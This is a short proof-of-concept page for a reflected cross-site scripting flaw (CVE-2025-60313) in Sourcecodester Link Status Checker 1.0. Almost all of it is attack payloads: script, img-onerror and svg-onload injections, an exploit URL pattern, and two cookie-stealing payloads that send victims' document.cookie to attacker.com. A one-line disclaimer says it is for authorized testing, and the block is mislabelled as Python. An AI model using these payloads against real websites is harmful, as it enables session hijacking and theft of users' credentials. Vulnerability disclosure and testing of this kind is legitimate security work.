Sourcecodester Link Status Checker 1.0 is vulnerable to a Cross-Site Scripting (XSS) in the Enter URLs to check input field. This allows a remote attacker to execute arbitrary code.
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60313: Sourcecodester Link Status Checker 1.0 - Reflected XSS PoC -->
<!-- Vulnerability Location: "Enter URLs to check" input field -->
<!-- Attack Vector: Remote, requires user interaction -->
<!-- Method 1: Direct script injection via URL input field -->
<script>alert('XSS-CVE-2025-60313')</script>
<!-- Method 2: Using img tag with onerror event handler -->
<img src=x onerror=alert(document.cookie)>
<!-- Method 3: Using svg tag with onload event -->
<svg onload=alert('XSS')>
<!-- Method 4: Crafted malicious URL to exploit reflected XSS -->
<!-- URL example: http://target/index.php?url=<script>alert(document.cookie)</script> -->
<!-- Or via POST request body to the URL check form -->
<!-- Full exploit URL pattern: -->
<!-- http://vulnerable-site/link-checker/?urls=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> -->
<!-- Cookie stealing payload example -->
<script>new Image().src="http://attacker.com/steal.php?cookie="+document.cookie;</script>